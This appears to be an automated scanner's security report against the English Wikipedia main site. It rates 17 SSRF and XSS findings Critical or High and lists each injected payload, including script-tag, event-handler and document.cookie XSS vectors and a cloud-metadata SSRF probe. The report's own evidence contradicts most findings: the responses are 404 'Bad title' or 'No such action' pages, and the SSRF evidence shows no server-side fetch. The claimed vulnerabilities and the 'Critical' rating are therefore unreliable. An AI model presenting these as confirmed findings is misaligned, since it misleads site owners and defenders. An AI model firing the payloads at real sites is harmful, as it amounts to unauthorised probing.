

# Security Assessment Report

Automated Vulnerability Discovery

---

**Target Infrastructure:** [https://en.wikipedia.org/wiki/Main\\_Page](https://en.wikipedia.org/wiki/Main_Page)

**Date of Assessment:** 2026-05-19 01:43 IST

**Reference ID:** 5a4f2e94-26c7-4abf-bed8-dafbb4bd5292

## 1. Executive Summary

This document presents the findings of an automated security assessment conducted against **[https://en.wikipedia.org/wiki/Main\\_Page](https://en.wikipedia.org/wiki/Main_Page)** on 2026-05-19 01:43 IST. The assessment utilized the SmartFuzz testing engine to evaluate the target against a predefined set of vulnerability classes. The overall risk posture of the application is currently evaluated as **Critical**.

| Assessment Metric        | Value |
|--------------------------|-------|
| Total Payloads Generated | 726   |
| Total Findings Confirmed | 17    |
| Critical Risk Findings   | 2     |
| High Risk Findings       | 15    |
| Medium Risk Findings     | 0     |

## 2. Findings Summary

| ID | Vulnerability | Parameter | Severity |
|----|---------------|-----------|----------|
| 1  | SSRF          | title     | Critical |
| 2  | SSRF          | action    | Critical |
| 3  | XSS           | title     | High     |
| 4  | XSS           | title     | High     |
| 5  | XSS           | title     | High     |
| 6  | XSS           | title     | High     |
| 7  | XSS           | title     | High     |
| 8  | XSS           | title     | High     |
| 9  | XSS           | title     | High     |
| 10 | XSS           | title     | High     |
| 11 | XSS           | action    | High     |
| 12 | XSS           | action    | High     |
| 13 | XSS           | action    | High     |
| 14 | XSS           | action    | High     |
| 15 | XSS           | page      | High     |
| 16 | XSS           | id        | High     |
| 17 | XSS           | url       | High     |

### 3. Detailed Findings Analysis

#### Finding 1: SSRF in parameter 'title'

|                          |                                                                                                                                                                                                                                                                                              |
|--------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>Severity:</b>         | <b>Critical</b>                                                                                                                                                                                                                                                                              |
| <b>Target URL:</b>       | <a href="https://en.wikipedia.org/w/index.php?title=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F&amp;action;=edit">https://en.wikipedia.org/w/index.php?title=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F&amp;action;=edit</a>                                              |
| <b>Method:</b>           | GET                                                                                                                                                                                                                                                                                          |
| <b>Status Code:</b>      | 200                                                                                                                                                                                                                                                                                          |
| <b>Response Time:</b>    | 0.531 seconds                                                                                                                                                                                                                                                                                |
| <b>Injected Payload:</b> | <a href="http://169.254.169.254/latest/meta-data/">http://169.254.169.254/latest/meta-data/</a>                                                                                                                                                                                              |
| <b>Evidence:</b>         | <pre>ef-standard" lang="en" dir="ltr"&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;Creating Http://169.254.169.254/latest/meta-data/ - Wikipedia&lt;/title&gt; &lt;script&gt;(function(){var className="client-js skin-theme-clientpref-day minerva-badge-clientpref-0 m</pre> |

---

#### Finding 2: SSRF in parameter 'action'

|                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>Severity:</b>         | <b>Critical</b>                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| <b>Target URL:</b>       | <a href="https://en.wikipedia.org/w/index.php?title=Special%3ADownloadAsPdf&amp;page;=Main_Page&amp;action;=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F">https://en.wikipedia.org/w/index.php?title=Special%3ADownloadAsPdf&amp;page;=Main_Page&amp;action;=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F</a>                                                                                                                                         |
| <b>Method:</b>           | GET                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| <b>Status Code:</b>      | 200                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| <b>Response Time:</b>    | 0.625 seconds                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| <b>Injected Payload:</b> | <a href="http://169.254.169.254/latest/meta-data/">http://169.254.169.254/latest/meta-data/</a>                                                                                                                                                                                                                                                                                                                                                                       |
| <b>Evidence:</b>         | <pre>&lt;!DOCTYPE html&gt; &lt;html class="client-nojs skin-theme-clientpref-day minerva-badge-clientpref-0 mf-expand-sections-clientpref-0 mf-font-size-clientpref-small mw-mf-amc-clientpref-0 skin-thumbsize-clientpref-standard" lang="en" dir="ltr"&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;Download as PDF - Wikipedia&lt;/title&gt; &lt;script&gt;(function(){var className="client-js skin-theme-clientpref-day minerva-badge-client</pre> |

---

### Finding 3: XSS in parameter 'title'

|                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>Severity:</b>         | <b>High</b>                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| <b>Target URL:</b>       | <a href="https://en.wikipedia.org/w/index.php?title=%3Csvg+onload%3Dalert%28%27XSS%27%29%3E&amp;returnto;=Main+Page">https://en.wikipedia.org/w/index.php?title=%3Csvg+onload%3Dalert%28%27XSS%27%29%3E&amp;returnto;=Main+Page</a>                                                                                                                                                                                                                                   |
| <b>Method:</b>           | GET                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| <b>Status Code:</b>      | 404                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| <b>Response Time:</b>    | 0.672 seconds                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| <b>Injected Payload:</b> | <code>&lt;svg onload=alert('XSS')&gt;</code>                                                                                                                                                                                                                                                                                                                                                                                                                          |
| <b>Evidence:</b>         | <pre>&lt;!DOCTYPE html&gt; &lt;html class="client-nojs skin-theme-clientpref-day minerva-badge-clientpref-0 mf-expand-sections-clientpref-0 mf-font-size-clientpref-small mw-mf-amc-clientpref-0 skin-thumbsize-clientpref-standard" lang="en" dir="ltr"&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;Bad title - Wikipedia&lt;/title&gt; &lt;script&gt;(function(){var className="client-js skin-theme-clientpref-day minerva-badge-clientpref-0</pre> |

---

### Finding 4: XSS in parameter 'title'

|                          |                                                                                                                                                                                                                                                     |
|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>Severity:</b>         | <b>High</b>                                                                                                                                                                                                                                         |
| <b>Target URL:</b>       | <a href="https://en.wikipedia.org/w/index.php?title=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&amp;returnto;=Main+Page">https://en.wikipedia.org/w/index.php?title=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&amp;returnto;=Main+Page</a> |
| <b>Method:</b>           | GET                                                                                                                                                                                                                                                 |
| <b>Status Code:</b>      | 404                                                                                                                                                                                                                                                 |
| <b>Response Time:</b>    | 0.765 seconds                                                                                                                                                                                                                                       |
| <b>Injected Payload:</b> | <code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code>                                                                                                                                                                                              |

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-badge-clientpref-0
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Bad title -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientpref-0
```

---

### Finding 5: XSS in parameter 'title'

**Severity:** High

**Target URL:** <https://en.wikipedia.org/w/index.php?title=%27%3Balert%28%27XSS%27%29%2F%2F&action;=edit>

**Method:** GET

**Status Code:** 200

**Response Time:** 0.468 seconds

**Injected Payload:** `' ;alert('XSS')//`

**Evidence:**

```
ef-standard" lang="en" dir="ltr"> <head> <meta
charset="UTF-8"> <title>Creating ' ;alert('XSS')// -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientpref-0 m
```

---

### Finding 6: XSS in parameter 'title'

**Severity:** High

**Target URL:** <https://en.wikipedia.org/w/index.php?title=%3Cinput+onfocus%3Dalert%28%27XSS%27%29+autofocus%3E&action;=edit>

**Method:** GET

**Status Code:** 404

**Response Time:** 0.765 seconds

**Injected Payload:** `<input onfocus=alert('XSS') autofocus>`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-badge-clientpref-0
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Bad title -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientpref-0
```

---

### Finding 7: XSS in parameter 'title'

**Severity:** High

**Target URL:** [https://en.wikipedia.org/w/index.php?title=javascript%3Aalert%28%27XSS%27%29&page;=Main\\_Page&id;=1345340283&wpFormIdentifier;=titleform](https://en.wikipedia.org/w/index.php?title=javascript%3Aalert%28%27XSS%27%29&page;=Main_Page&id;=1345340283&wpFormIdentifier;=titleform)

**Method:** GET

**Status Code:** 404

**Response Time:** 0.687 seconds

**Injected Payload:** `javascript:alert('XSS')`

**Evidence:**

```
-clientpref-standard" lang="en" dir="ltr"> <head> <meta
charset="UTF-8"> <title>Javascript:alert('XSS') -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientpref-0 m
```

---

### Finding 8: XSS in parameter 'title'

**Severity:** High

**Target URL:** [https://en.wikipedia.org/w/index.php?title=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&page;=Main\\_Page&id;=1345340283&wpFormIdentifier;=titleform](https://en.wikipedia.org/w/index.php?title=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&page;=Main_Page&id;=1345340283&wpFormIdentifier;=titleform)

**Method:** GET

**Status Code:** 404

**Response Time:** 0.766 seconds

**Injected Payload:** `'><script>alert(document.cookie)</script>`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-badge-clientpref-0
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Bad title -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientpref-0
```

---

### Finding 9: XSS in parameter 'title'

**Severity:** High

**Target URL:** <https://en.wikipedia.org/w/index.php?title=%3Cdetails+open+ontoggle%3Dalert%28%27XSS%27%29%3E&printable;=yes>

**Method:** GET

**Status Code:** 404

**Response Time:** 0.406 seconds

**Injected Payload:** `<details open ontoggle=alert('XSS')>`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-badge-clientpref-0
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Bad title -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientpref-0
```

---

### Finding 10: XSS in parameter 'title'

**Severity:** High

**Target URL:** <https://en.wikipedia.org/w/index.php?title=%3Cinput+onfocus%3Dalert%28%27XSS%27%29+autofocus%3E&printable;=yes>

**Method:** GET

**Status Code:** 404

**Response Time:** 0.469 seconds



**Injected Payload:** `<input onfocus=alert('XSS') autofocus>`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-badge-clientpref-0
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Bad title -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientpref-0
```

---

### Finding 11: XSS in parameter 'action'

**Severity:** **High**

**Target URL:** [https://en.wikipedia.org/w/index.php?title=Main\\_Page&action;=javascript%3Aalert%28%27XSS%27%29](https://en.wikipedia.org/w/index.php?title=Main_Page&action;=javascript%3Aalert%28%27XSS%27%29)

**Method:** GET

**Status Code:** 404

**Response Time:** 0.516 seconds

**Injected Payload:** `javascript:alert('XSS')`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-badge-clientpref-0
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>No such action -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientp
```

---

### Finding 12: XSS in parameter 'action'

**Severity:** **High**

**Target URL:** [https://en.wikipedia.org/w/index.php?title=Special%3ADownloadAsPdf&page;=Main\\_Page&action;=%3Cdetails+open+ontoggle%3Dalert%28%27XSS%27%29%3E](https://en.wikipedia.org/w/index.php?title=Special%3ADownloadAsPdf&page;=Main_Page&action;=%3Cdetails+open+ontoggle%3Dalert%28%27XSS%27%29%3E)

**Method:** GET

**Status Code:** 200

**Response Time:** 0.375 seconds

**Injected Payload:** `<details open ontoggle=alert('XSS')>`

**Evidence:** `<!DOCTYPE html> <html class="client-nojs skin-theme-clientpref-day minerva-badg-clientpref-0 mf-expand-sections-clientpref-0 mf-font-size-clientpref-small mw-mf-amc-clientpref-0 skin-thumbsize-clientpref-standard" lang="en" dir="ltr"> <head> <meta charset="UTF-8"> <title>Download as PDF - Wikipedia</title> <script>(function(){var className="client-js skin-theme-clientpref-day minerva-badg-client`

---

### Finding 13: XSS in parameter 'action'

**Severity:** **High**

**Target URL:** `https://en.wikipedia.org/w/index.php?title=Main_Page&action;=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E`

**Method:** GET

**Status Code:** 404

**Response Time:** 1.0 seconds

**Injected Payload:** `'><script>alert(document.cookie)</script>`

**Evidence:** `<!DOCTYPE html> <html class="client-nojs skin-theme-clientpref-day minerva-badg-clientpref-0 mf-expand-sections-clientpref-0 mf-font size-clientpref-small mw-mf-amc-clientpref-0 skin-thumbsize-clientpref-standard" lang="en" dir="ltr"> <head> <meta charset="UTF-8"> <title>No such action - Wikipedia</title> <script>(function(){var className="client-js skin-theme-clientpref-day minerva-badg-clientp`

---

### Finding 14: XSS in parameter 'action'

**Severity:** **High**

**Target URL:** [https://en.wikipedia.org/w/index.php?title=Special%3ADownloadAsPdf&page;=Main\\_Page&action;=%3Ciframe+src%3D%27javascript%3Aalert%28%60XSS%60%29%27%3E%3C%2Fiframe%3E](https://en.wikipedia.org/w/index.php?title=Special%3ADownloadAsPdf&page;=Main_Page&action;=%3Ciframe+src%3D%27javascript%3Aalert%28%60XSS%60%29%27%3E%3C%2Fiframe%3E)

**Method:** GET

**Status Code:** 200

**Response Time:** 0.563 seconds

**Injected Payload:** `<iframe src='javascript:alert(`XSS`)'></iframe>`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-bad
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Download as PDF -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-bad

```

---

### Finding 15: XSS in parameter 'page'

**Severity:** **High**

**Target URL:** <https://en.wikipedia.org/w/index.php?title=Special%3ADownloadAsPdf&page;=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&action;=show-download-screen>

**Method:** GET

**Status Code:** 200

**Response Time:** 0.484 seconds

**Injected Payload:** `'><script>alert(document.cookie)</script>`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-bad
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Invalid page -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-bad

```

---

## Finding 16: XSS in parameter 'id'

**Severity:** High

**Target URL:** [https://en.wikipedia.org/w/index.php?title=Special%3ACiteThisPage&page;=Main\\_Page&id;=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&wpFormIdentifier;=titleform](https://en.wikipedia.org/w/index.php?title=Special%3ACiteThisPage&page;=Main_Page&id;=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&wpFormIdentifier;=titleform)

**Method:** GET

**Status Code:** 200

**Response Time:** 0.922 seconds

**Injected Payload:** `<script>alert('XSS')</script>`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-badge-clientpref-0
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Cite This Page -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientp
```

---

## Finding 17: XSS in parameter 'url'

**Severity:** High

**Target URL:** <https://en.wikipedia.org/w/index.php?title=Special%3AUrlShortener&url;=%3Cbody+onload%3Dalert%28%27XSS%27%29%3E>

**Method:** GET

**Status Code:** 200

**Response Time:** 0.515 seconds

**Injected Payload:** `<body onload=alert('XSS')>`

**Evidence:**

```
<!DOCTYPE html> <html class="client-nojs
skin-theme-clientpref-day minerva-badge-clientpref-0
mf-expand-sections-clientpref-0
mf-font-size-clientpref-small mw-mf-amc-clientpref-0
skin-thumbsize-clientpref-standard" lang="en" dir="ltr">
<head> <meta charset="UTF-8"> <title>Blocked -
Wikipedia</title> <script>(function(){var
className="client-js skin-theme-clientpref-day
minerva-badge-clientpref-0 m
```

---

## 4. Remediation Guidance

### SSRF

1. Implement a strict allowlist of permitted destination domains, IP addresses, and protocols for any outbound server requests.
2. Actively block and reject network requests targeting internal, loopback, or reserved IP ranges (e.g., 10.0.0.0/8, 169.254.169.254, 127.0.0.1).
3. Disable HTTP redirection for server-side requests, or strictly re-validate the target URL against the allowlist after following any redirect.
4. Route all outbound application traffic through a dedicated egress proxy that explicitly drops internal network access.
5. Reference: OWASP Top 10 A10:2021 — Server-Side Request Forgery

### XSS

1. Contextually output-encode all user-supplied data before rendering it in the browser (HTML, JavaScript, CSS, or URL contexts).
2. Implement a strict, restrictive Content-Security-Policy (CSP) HTTP response header to prevent the execution of inline scripts and untrusted sources.
3. Set the 'HttpOnly' and 'Secure' flags on all sensitive cookies (e.g., session tokens) to prevent theft via client-side scripts.
4. Sanitize any rich-text (HTML) input on the server side using a robust, actively maintained library (e.g., DOMPurify or Bleach).
5. Utilize modern frontend frameworks (React, Angular, Vue) that safely bind data to the DOM by default.
6. Reference: OWASP Top 10 A03:2021 — Injection

---

### Disclaimer

This report was generated automatically. Results should be reviewed and validated by a qualified security professional. False positives may be present.